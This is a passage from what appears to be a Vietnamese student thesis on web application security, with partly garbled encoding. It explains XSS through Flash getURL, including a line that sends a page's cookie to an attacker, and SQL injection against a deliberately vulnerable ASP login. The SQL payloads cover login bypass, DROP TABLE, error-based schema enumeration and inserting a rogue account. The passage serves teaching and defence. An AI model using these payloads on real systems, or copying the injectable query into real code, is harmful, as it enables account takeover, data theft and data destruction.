Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đà đ-ợc
xây dựng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và
t-ơng tự nh- JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một
trang

web

khác,

tham

số

th-ờng



một

URL

chẳng


hạn

nh-

.
getURL()
Tuy nhiªn cã thĨ thay thĨ URL b»ng JavaScript:
getURL(“javascript:alert(document.cookie)”)
VÝ dơ trªn sẽ làm xuất hiện bảng thông báo ch-a cookie của trang web chứa
tập tin flash đó. Nh- vậy là trang web đó đà bị tấn công, bằng cách chèn một
đoạn JavaScript vào ứng dụng web thông qua tập tin flash. Một ví dụ khác rõ hơn
về cách tấn công này là:
Đây là đoạn lệnh trong tập tin flash và sẽ đ-ợc thi hành khi tập tin flash đ-ợc
đọc:
getURL(javascript:location(?newcookie=+documen
t.cookie))
Nh- vậy là khi ng-êi dïng xem trang web chøa tËp tin flash này thì ngay lập
tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.
2.3. Phát hiện XSS bằng cách nào?
Nếu nh- chúng ta sử dụng các mà nguồn của các ch-ơng trình có sẵn chúng ta
có thể tham khảo danh sách các lỗ hổng của ch-ơng trình bạn trên các trang web
chứa các thông tin về bảo mật nh- securityfocus.com, securiteam.com,... Tuy
nhiên nếu các website đ-ợc tự viết mà nguồn thì chúng ta không thể áp dụng
ph-ơng pháp trên. Trong tr-ờng hợp này ta cần đến các ch-ơng trình scanner tự
động. Nếu sư dơng trong m«i tr-êng Windows chóng ta cã thĨ dùng N-Stealth
Sinh viên thực hiện:

Trần Văn Quế

18



Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng web
hay AppScan, đó là những ch-ơng trình scan khá tuyệt, ta không chỉ kiểm tra
đ-ợc các lỗi XSS mà nó còn cho phép ta kiểm tra các lỗi khác trong Website đó,
Server

đó.

Tất nhiên không phải lúc nào chúng ta cũng cần kiểm tra tất cả, nếu nh- chỉ
muốn kiểm tra các lỗi XSS có trong website, chỉ cần sử dụng screamingCSS. Đó
là một Perl Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm
tra các lỗi XSS và có thể sử dụng nó trong cả môi tr-ờng Unix lẫn Windows.
2.4. Cách phòng chống.
Với những dữ liệu, thông tin nhập của ng-ời dùng, ng-ời thiết kết ứng
dụng Web cần phải thực hiện vài b-ớc cơ bản sau:
o Tạo ra danh sách những thẻ HTML đ-ợc phép sử dụng.
o Xóa bỏ thẻ <script>
o Lọc ra bất kì một đoạn mà JavaScript/Java/VBScript/ActiveX/Flash
Related nào.
o Lọc dấu nháy đơn hay kép
o Lọc kí tự Null ( vì khả năng thêm một đoạn mà bất kì sau kí tự Null
khiến cho ứng dụng dù đà lọc bỏ thẻ <script> vẫn không nhận ra do
ứng dụng nghĩ rằng chuỗi đà kết thúc từ kí tự Null này).
o Xóa những kÜ tù “ >” , “ <”
o VÉn cho phÐp nhập những kí tự đặc biệt nh-ng sẽ đ-ợc mà hóa theo
chuẩn riêng.

Đối với ng-ời dùng, cần cấu hình lại trình duyệt để nhắc nhở ng-ời dùng

có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào
mức độ tin cậy mà ng-ời dùng sẽ quyết định.

Nhận xét:
Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại
chỉ dừng lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hay
form lừa đảo mà hacker đ-a đến cho nạn nhân. Vì thế, ngoài việc ứng dụng kiểm
tra tính đúng đắn của dữ liệu tr-ớc khi sử dụng thì việc cần nhất là ng-ời dùng

Sinh viên thực hiện:

Trần Văn Quế

19


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng web
nên cảnh giác tr-ớc khi b-ớc vào một trang Web mới. Có thể nói, nhờ vào sự
cảnh giác của ng-ời dùng thì 90% đà đạt đ-ợc sự bảo mật trong kĩ thuật này.
3. CHèN CÂU TRUY VấN SQL (SQL INJECTION)
3.1. Khái niệm SQL Injection
SQL injection là cách lợi dụng những lỗ hổng trong qúa trình lập trình web về
phần truy xuất cơ sở dữ liệu. Đây không chỉ là khuyết điểm của riêng SQL server
mà nó còn là vấn đề chung cho toàn bộ các cơ sở dữ liệu khác nh- Oracle, MS
Access hay IBM DB2. Khi Hacker gửi những dữ liệu( thông qua các form), ứng
dụng web sẽ thực hiện và trả về cho trình duyệt kết quả câu truy vấn hay những
thông báo lỗi có liên quan đến cơ sở dữ liệu. Và nhờ những thông tin này mà
Hacker biết đ-ợc nội dung cơ sở dữ liệu và từ đó có thể điều khiển toàn bộ hệ
thống ứng dụng.

3.2. Các cách tấn công
Để trình bày tốt nội dung này, đồ án sử dụng bảng Taikhoan
STT

Tên tr-ờng

Kiểu tr-ờng

Kích th-ớc

1

Id

char

4

2

Username

Char

40

3

Password


Char

40

4

quyen

Int

4

Ngôn ngữ lập trình sử dụng để minh họa là ASP với cơ sở dữ liệu là SQL
3.2.1 Kĩ thuật tấn công v-ợt qua kiểm tra đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng v-ợt qua các trang đăng nhập
nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng
web.
Xét một ví dụ điển hình, thông th-ờng để cho phép ng-ời dùng truy cập vào
các trang web đ-ợc bảo mật, hệ thống th-ờng xây dựng trang đăng nhập để yêu
cầu ng-ời dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi ng-ời
dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp
lệ hay không để quyết ®Þnh cho phÐp hay tõ chèi thùc hiƯn tiÕp theo.
Sinh viên thực hiện:

Trần Văn Quế

20


Đồ án tốt nghiệp

Nghiên cứu một số vấn đề bảo mËt øng dơng web
VÝ dơ: Trang ASP xư lÝ d÷ liệu ng-ời dùng đăng nhập có đoạn mà xử lí dữ liệu
nh- sau:
<!--#include file= ..\data\connection.txt-->
<%
session("login")=""
session("username")=""
session("quyen")=""
'lấy username và password của ng-ời dïng nhËp
username=trim(request("username"))
password=trim(request("password"))
'ThiÕt lËp lƯnh SQL kiĨm tra so khíp username và password trong bảng dữ liệu
sqlStr="SELECT * FROM taikhoan WHERE username='"+username+"'
AND password='"+password+"'"
rs.open sqlStr,conn
'Nếu tìm thấy mẩu tin có trong bảng dữ liệu
if not rs.eof then
'Bật cờ thông báo qua trình đăng nhập thành công
session("login")="true"
session("username")=request("username")
session("quyen")=rs("quyen")
end if
rs.close
' h-ớng ng-ời dùng đến trang quản trị xem dữ liệu( mặc định là trang đăng
nhâp)
if session("login")="true" then response.Redirect "admin.asp" end if
%>
Đoạn mà trên kiểm tra chuỗi nhập Username và Password, nếu tồn tại trong
bảng User thì cho phép đăng nhập và ng-ợc lại. Thoạt nhìn, đoạn mà d-ờng nhkhông chứa bất cứ một lỗ hổng về an toàn nào. Ng-ời dùng không thể đăng nhập
mà không có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mà này thực sự

Sinh viên thực hiện:

Trần Văn Quế

21


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng web
không an toàn và là tiền đề cho một lỗi SQL injection. Đặc biệt, chỗ sơ hở nằm ở
chỗ dữ liệu nhập vào là từ ng-ời dùng để xây dựng trực tiếp câu lệnh SQL. Chính
điều này cho phép những kẻ tấn công có thể điều khiển câu truy vấn để thực
hiện.
Ví dụ 1:
Giá trị nhập vào lµ:
Username: „ or‟ ‟ =‟
Password : „ or‟ ‟ =‟
Lóc này câu lệnh SQL nh- sau:
SELECT * FROM Taikhoan WHERE Username='OR=' AND
Password='OR'= ;
Câu truy vấn trên là luôn luôn đúng vi luôn bằng và sẽ trả về tất cả các bản
ghi của Taikhoan và đoạn mà tiếp theo xử lí ng-ời dùng đăng nhập bất hợp pháp
này nh- là ng-ời dùng đăng nhập hợp lệ.
Kết hợp với kí tự đặc biệt của SQL:
Kí tự ; : đánh dấu kết thúc 1 câu truy vấn
Kí tự -- : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng.
Ví dụ 2:
Username: ; drop table Taikhoan-Password:
Câu lệnh SQL lúc này nh- sau:
SELECT * FROM Taikhoan WHERE Username='‟;drop table Taikhoan -- AND

Password=;
Sinh viªn thùc hiện:

Trần Văn Quế

22


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng web
Với câu lệnh trên thì bảng Taikhoan sẽ bị xóa hoàn toàn.
Nếu nh- ta đà biết một tên User nào đó thì có thể nhập vào:
đối với ngôn ngữ truy vấn SQL thì việc sử dụng dấu - - thì tất cả những vế sau
dấu này đều là phần chú thích( ẩn) không đ-ợc thực hiện, vì thế d-ới đây chúng
ta tiến hành thử đăng nhập với username và không nhập password.

Username: admin -Password:

Câu lệnh SQL lóc nµy nh- sau:
SELECT * FROM Taikhoan WHERE Username='admin‟-- AND Password= ;
Câu lệnh trên cho phép đăng nhập với quyền của admin đó mà không đòi hỏi
password
3.2.2. Tấn công dựa vào câu lệnh SELECT
Ngoài kĩ thuật đơn giản trên, việc tấn công th-ờng dựa trên những thông báo lỗi
để lấy thông tin về bảng cũng nh- những tr-ờng trong bảng. Để làm đ-ợc điều
này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho
phù hợp.
Câu truy vấn cần để đăng nhập:
SQL="SELECT * FROM taikhoan WHERE username='"+username+"' AND
password='"+password+"'"

Đầu tiên, để biết tên bảng và tên tr-ờng mà câu truy vấn sử dụng, sử dụng câu
điều kiện having , nh- ví dụ sau:
Giá trị nhập vào:
Username : having 1=1-Sinh viên thực hiện:

Trần Văn Quế

23


Đồ án tốt nghiệp
Lỗi phát sinh:

Nghiên cứu một số vấn ®Ị b¶o mËt øng dơng web

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'taikhoan.Id' is invalid in the select list because it is not contained in
an aggregate function and there is no GROUP BY clause.
Nhờ vào lỗi phát sinh này mà biết đ-ợc bảng sử dụng trong câu truy vấn là
Taikhoan và trong bảng tồn tại một tr-ờng tên là Id
Sau ®ã sư dơng GROUP BY:
Username :„ group by User.Id having 1=1-Lỗi phát sinh:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'taikhoan.username' is invalid in the select list because it is not
contained in either an aggregate function or the GROUP BY clause.
Nh- vậy username là một tr-ờng đ-ợc sử dụng trong bảng taikhoan và tham gia
vào câu truy vấn.
Tiếp tục sử dụng GROUP BY:
Username: group by taikhoan.Id,taikhoan.username having 1=1-Lỗi ph¸t sinh:
Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column 'taikhoan.password' is invalid in the select list because it is not
contained in either an aggregate function or the GROUP BY clause.
Nh- vậy password là một tr-ờng đ-ợc sử dụng trong bảng taikhoan và tham gia
vào câu truy vấn.
Sinh viên thực hiện:

Trần Văn Quế

24


Đồ án tốt nghiệp

Nghiên cứu một số vấn đề bảo mËt øng dơng web

TiÕp tơc dïng GROUP BY cho ®Õn khi biết đ-ợc tất cả các tr-ờng trong bảng
User tham gia vào câu truy vấn.Khi không còn báo lỗi cú pháp GROUP BY nữa
thì chuyển qua công đoạn kiểm tra kiểu của từng tr-ờng trong bảng. Lúc này
UNION đ-ợc sử dơng:
Username: „ union select sum(Id) from Taikhoan -LƯnh sum lµ lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu
số. Nếu đối số không là kiểu số thì phát sinh lỗi nh- sau:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
The sum or average aggregate operation cannot take a char data type as an
argument.
Nh- vËy víi thông điệp lỗi nh- trên thì tr-ờng Id chắc chắn phải là kiểu char .
Với ph-ơng pháp trên, dễ dàng xác định đ-ợc kiểu của từng tr-ờng trong bảng.
Sau khi đà nhận đầy đủ thông tin trên thì hacker dễ dàng tự thêm thông tin vào
bảng Taikhoan.
Username: ';INSERT INTO Taikhoan VALUES ( 100 ,'hacker','',1)-Nh- vậy là hacker đà có một tài khoản để đăng nhập mà không cần mật khẩu
chứng thực.

Ví dụ : Minh họa một công đọa sẽ giúp hacker đọc hết thông tin trong bảng
User:
B-ớc 1: tạo một Stored procedure để chép vào tất cả thông tin của 2 tr-ờng
Username và Password trong bảng Taikhoan thành một chuỗi vào một
bảng mới là foo có một tr-ờng là ret bằng đoạn mà sau:

Sinh viên thực hiện:

Trần Văn QuÕ

25


×